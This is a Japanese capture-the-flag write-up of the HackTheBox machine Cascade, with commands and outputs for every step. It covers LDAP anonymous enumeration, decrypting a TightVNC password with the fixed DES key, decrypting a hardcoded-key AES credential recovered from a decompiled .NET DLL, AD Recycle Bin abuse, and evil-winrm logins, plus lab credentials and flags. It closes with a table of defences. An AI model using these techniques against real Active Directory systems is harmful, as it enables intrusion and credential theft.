HackTheBox: Cascade — 全実行コマンド・実行結果レポート
Nmap スキャン
DC(53/88/389/445/3268/5985)
→
DC(53/88/389/445/3268/5985)
LDAP匿名バインド
cascadeLegacyPwd属性漏洩
→
cascadeLegacyPwd属性漏洩
r.thompson平文パスワード
base64デコード
→
base64デコード
SMB Data共有
VNC Install.reg 取得
→
VNC Install.reg 取得
TightVNC固定DESキー復号
s.smithパスワード
→
s.smithパスワード
WinRMログイン
user.txt ✓
→
user.txt ✓
Audit$共有 .NETリバエン
固定AESキーでArkSvc復号
→
固定AESキーでArkSvc復号
AD Recycle Bin
削除済みTempAdmin復元
→
削除済みTempAdmin復元
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap ポートスキャン
BASH
nmap -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985 10.129.55.232
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (Windows Server 2008 R2 SP1) 88/tcp open tcpwrapped 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM) Service Info: Host: CASC-DC1; OS: Windows Server 2008 R2 SP1
ℹ️
ドメインコントローラ
CASC-DC1.cascade.local。LDAP(389/3268)とWinRM(5985)が開いているため、
認証情報さえ手に入れば evil-winrm でシェルを取れる見込みが立つ。
SMB匿名アクセスと基本列挙
BASH
smbclient -L //10.129.55.232 -N enum4linux -a 10.129.55.232
RESULT
Anonymous login successful (共有名は匿名一覧では見えないが、後述の資格情報取得後にDataやAudit$共有へアクセス可能)
PHASE 2
LDAP匿名バインドによるユーザー列挙とカスタム属性漏洩
LDAP匿名バインドでドメインユーザーを列挙
BASH
ldapsearch -x -H ldap://10.129.55.232 -b "DC=cascade,DC=local" \ "(objectClass=user)" sAMAccountName
RESULT
sAMAccountName: CascGuest sAMAccountName: CASC-DC1$ sAMAccountName: arksvc sAMAccountName: s.smith sAMAccountName: r.thompson sAMAccountName: util sAMAccountName: j.wakefield sAMAccountName: s.hickson sAMAccountName: j.goodhand sAMAccountName: a.turnbull sAMAccountName: e.crowe sAMAccountName: b.hanson sAMAccountName: d.burman sAMAccountName: BackupSvc sAMAccountName: j.allen sAMAccountName: i.croft
🚨
認証情報一切不要でドメインの全ユーザー名を列挙できる。
LDAPが匿名バインドを許可する設定ミスは、AD環境における非常によくある初期突破口。
r.thompson のカスタム属性 cascadeLegacyPwd を照会
NOTE
ユーザーオブジェクトのdescription/comment属性だけでなく、スキーマ拡張された 独自属性の有無も確認する。Cascadeでは cascadeLegacyPwd という非標準属性が 複数ユーザーに設定されており、レガシーシステム移行時の名残としてbase64化 された平文パスワードがそのまま格納されている。
BASH
ldapsearch -x -H ldap://10.129.55.232 -b "DC=cascade,DC=local" \ "(sAMAccountName=r.thompson)" cascadeLegacyPwd
RESULT
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
cascadeLegacyPwd: clk0bjVldmE=
BASH
echo "clk0bjVldmE=" | base64 -d
RESULT
rY4n5eva
✅
認証情報取得: r.thompson : rY4n5eva。WinRM(Remote Management Users)権限は無いが、
SMBの
Data 共有には閲覧可能。
PHASE 3
TightVNC固定DESキーによるレジストリバックアップ復号 → user.txt
Data共有を r.thompson でマウントし内部文書を確認
BASH
smbclient //10.129.55.232/Data -U r.thompson%rY4n5eva
RESULT
smb: \> ls IT Finance ... smb: \> cd IT\Email Archives\ smb: \> get "Meeting_Notes_June_2018.html"
ℹ️
Meeting_Notes_June_2018.htmlには「アカウント TempAdmin は
Administratorと同一パスワードを使っている(棚卸し後に削除予定)」という
社内メモが記載されている。この情報は後のPhase 5で決定的な手掛かりになる。
IT\Temp\s.smith 配下の VNC Install.reg を取得
BASH
smbclient //10.129.55.232/Data -U r.thompson%rY4n5eva \ -D 'IT\Temp\s.smith' -c 'get "VNC Install.reg"'
RESULT (VNC Install.reg の該当行)
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
...
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
⚠️
ハマりどころ: Windowsの
.reg エクスポートファイルは
UTF-16LE(先頭にBOM \xff\xfe)で保存されている。
これをテキストエディタや cat で素朴に開くと文字化けして見えることがある
(各ASCII文字の間にNULバイトが挟まる)。プログラムで正規表現抽出する場合は
明示的に utf-16 エンコーディングを指定してデコードする必要がある。
UTF-8扱いのままだとNULバイトが文字列に混入し、"Password"という
リテラル文字列へのマッチが常に失敗してしまう。
TightVNC固定DESキーで復号
NOTE
TightVNC(および元祖VNC)はレジストリ保存パスワードを、公開・固定の DESキー(0x1734636A8CD9B7CA相当のバイト列をビット反転したもの)で ECBモード暗号化しているだけであることが広く知られている。 この固定キーはツールのソースコードに直接ハードコードされているため、 暗号鍵の秘匿性はゼロに等しい。
PYTHON
from Crypto.Cipher import DES
# TightVNCの公開既知固定キー(各バイトのビット順を反転させたもの)
fixed_key = bytes([0x17, 0x52, 0x6b, 0x06, 0x23, 0x4e, 0x58, 0x07])
enc = bytes.fromhex("6bcf2a4b6e5aca0f")
cipher = DES.new(fixed_key, DES.MODE_ECB)
dec = cipher.decrypt(enc)
print(dec.split(b"\x00")[0].decode())
RESULT
sT333ve2
✅
認証情報取得: s.smith : sT333ve2
WinRMログイン & user.txt 取得
BASH
evil-winrm -i 10.129.55.232 -u 's.smith' -p 'sT333ve2'
RESULT
*Evil-WinRM* PS C:\Users\s.smith\Documents> type C:\Users\s.smith\Desktop\user.txt
f0b7eb1bca66bd7e578324712263b26b
user.txt — s.smith@CASC-DC1
f0b7eb1bca66bd7e578324712263b26b
PHASE 4
Audit$共有の .NET監査ツールをリバースエンジニアリング → ArkSvcパスワード復号
Audit$共有からツール一式を取得
BASH
smbclient //10.129.55.232/Audit$ -U s.smith%sT333ve2 smb: \> ls CascAudit.exe CascCrypto.dll DB smb: \> cd DB smb: \> get Audit.db
ℹ️
Audit$は社内向けの「アカウント監査ツール」一式を配布する共有。実行ファイル本体
(CascAudit.exe)とその暗号処理ライブラリ(CascCrypto.dll)、そして
監査対象アカウントの資格情報を保存したSQLiteデータベース(Audit.db)が含まれている。
SQLiteのLdapテーブルから暗号化パスワードを取得
BASH
sqlite3 Audit.db "SELECT uname, pwd, domain FROM Ldap;"
RESULT
ArkSvc|<base64暗号文>|cascade.local
.NETアセンブリを逆コンパイルし固定AESキーを特定
NOTE
dnSpy等の.NETデコンパイラで CascCrypto.dll を開き、復号ロジックを解析する。 Decrypt()メソッド内で AES-128-CBC の Key と IV がそれぞれハードコードされた バイト配列として直接埋め込まれていることが判明する。
RESULT (逆コンパイル結果より特定した定数)
Key = "c4scadek3y654321" (16バイト = AES-128) IV = "1tdyjCbY1Ix49842" (16バイト)
AES復号でArkSvcのパスワードを取得
PYTHON
import base64 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes key = b"c4scadek3y654321" iv = b"1tdyjCbY1Ix49842" enc = base64.b64decode(enc_b64) # Audit.db の Ldap.pwd カラムの値 cipher = Cipher(algorithms.AES(key), modes.CBC(iv)) dec = cipher.decryptor().update(enc) # PKCS7パディングを除去 dec = dec[: -dec[-1]] print(dec.decode())
RESULT
w3lc0meFr31nd
✅
認証情報取得: ArkSvc : w3lc0meFr31nd
PHASE 5
AD Recycle Bin悪用 — 削除済みTempAdminオブジェクトの復元閲覧
ArkSvcの所属グループを確認
BASH
evil-winrm -i 10.129.55.232 -u 'ArkSvc' -p 'w3lc0meFr31nd' *Evil-WinRM* PS> whoami /groups
RESULT
CASCADE\AD Recycle Bin Alias S-1-5-...
🚨
重大発見: ArkSvcは AD Recycle Bin グループのメンバー。
このグループには削除済みAD オブジェクト(
isDeleted=TRUE)を
-IncludeDeletedObjects オプション付きで閲覧する権限が付与されている。
Phase3-1で見つけたメモの「TempAdminはAdministratorと同一パスワードで、棚卸し後に削除予定」
という記述を思い出すと、削除済みTempAdminオブジェクトのcascadeLegacyPwd属性を
復元閲覧できればAdministratorのパスワードが手に入るという筋道が立つ。
削除済みTempAdminオブジェクトの cascadeLegacyPwd を取得
BASH
*Evil-WinRM* PS> Get-ADObject -ldapfilter "(&(objectclass=user)(DisplayName=TempAdmin)(isDeleted=TRUE))" ` -IncludeDeletedObjects -Properties cascadeLegacyPwd | Select-Object -ExpandProperty cascadeLegacyPwd
RESULT
YmFDVDNyMWFOMDBkbGVz
⚠️
ハマりどころ: evil-winrm を
--no-colors オプション付きで
自動化スクリプトから非対話実行しても、内部で使われているReline(readline相当)由来の
カーソル位置制御シーケンス(\x1b[1G等)は出力から取り除かれず、
目的の行の先頭に直接連結された状態で出力される
(例: \x1b[1GYmFDVDNyMWFOMDBkbGVz)。単純に「行全体がbase64パターンに
フルマッチするか」で判定すると、この制御シーケンス混入により実際には値が
正しく出力されているにもかかわらず抽出に失敗する。自動化する場合は
ANSIエスケープシーケンス(\x1b\[[0-9;?]*[a-zA-Z] 等)を正規表現で
除去してから判定すること。
BASH
echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d
RESULT
baCT3r1aN00dles
✅
認証情報取得: Administrator : baCT3r1aN00dles
(TempAdminと共有されているパスワード)
PHASE 6
Administratorとしてログイン → root.txt
root.txt 取得
BASH
evil-winrm -i 10.129.55.232 -u 'Administrator' -p 'baCT3r1aN00dles' *Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
RESULT
bd9fc711e75616760aaceaf0fc11382a
root.txt — Administrator@CASC-DC1
bd9fc711e75616760aaceaf0fc11382a
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — s.smith@CASC-DC1
f0b7eb1bca66bd7e578324712263b26b
root.txt — Administrator@CASC-DC1
bd9fc711e75616760aaceaf0fc11382a
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| LDAP匿名バインド + カスタム属性への平文格納 | Active Directory (:389) | ユーザー一覧列挙 + 平文パスワード漏洩 | High | 認証なしでcascadeLegacyPwd属性(base64)を照会しr.thompsonの資格情報を取得 |
| TightVNCの固定DESキー | SMB Data共有内の VNC Install.reg | VNCパスワードの復号 → OS資格情報流用 | Critical | 公開既知の固定DESキーでECB復号しs.smithパスワードを取得 |
| 自作暗号ツールの固定AESキーのハードコード | Audit$共有 CascCrypto.dll | 監査ツールが保存するサービスアカウントパスワードの復号 | Critical | .NETリバースエンジニアリングで固定Key/IVを特定しArkSvcパスワードを復号 |
| AD Recycle Binの過剰な権限付与 | ArkSvcサービスアカウント | 削除済みオブジェクトの機密属性の復元閲覧 | High | -IncludeDeletedObjectsで削除済みTempAdminのcascadeLegacyPwd属性を復元しAdministratorパスワードを取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | ADドメインコントローラ(CASC-DC1, cascade.local)判明 |
| 2 | LDAP匿名バインド | ldapsearch匿名クエリ | 全ユーザー一覧 + r.thompson:rY4n5eva |
| 3 | TightVNC鍵復号 | SMB Data共有 + DES固定キー復号 | user.txt 取得 (s.smith:sT333ve2) |
| 4 | .NETリバエン | Audit$共有 + CascCrypto.dll解析 + AES復号 | ArkSvc:w3lc0meFr31nd |
| 5 | AD Recycle Bin悪用 | Get-ADObject -IncludeDeletedObjects | Administrator:baCT3r1aN00dles |
| 6 | 管理者ログイン | evil-winrm | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| LDAP匿名バインドが有効で、独自スキーマ拡張属性に平文パスワードを保存している | LDAP匿名バインドを無効化する(dsHeuristics設定の見直し)。パスワードやシークレットは
決してADのカスタム属性に平文/単純base64で保存せず、専用のシークレット管理システムを使う。 |
| TightVNCなどレガシーVNCサーバーの固定・公開暗号鍵に依存したパスワード保存方式を利用 | VNCサーバー自体の利用を廃止するか、より安全な認証方式・トンネリング(SSH経由等)に切り替える。 レジストリエクスポートファイルを共有ドライブに放置しない。 |
| 自作の資格情報管理ツールが対称鍵をバイナリにハードコードしている | 暗号鍵はハードコードせず、HSMや鍵管理サービス(Azure Key Vault等)、少なくとも実行時に 安全に注入される設定として管理する。バイナリの逆コンパイルで鍵が露出しないよう設計する。 |
| サービスアカウントにAD Recycle Binのような強力な閲覧権限が不必要に付与されている | 最小権限の原則を徹底し、AD Recycle Binメンバーシップは真に必要なロールのみに限定する。 退職者/一時アカウントの削除運用では、削除前にパスワード自体をローテーションしてから アカウントを無効化・削除する(削除後もカスタム属性は残存し復元可能な点に注意)。 |

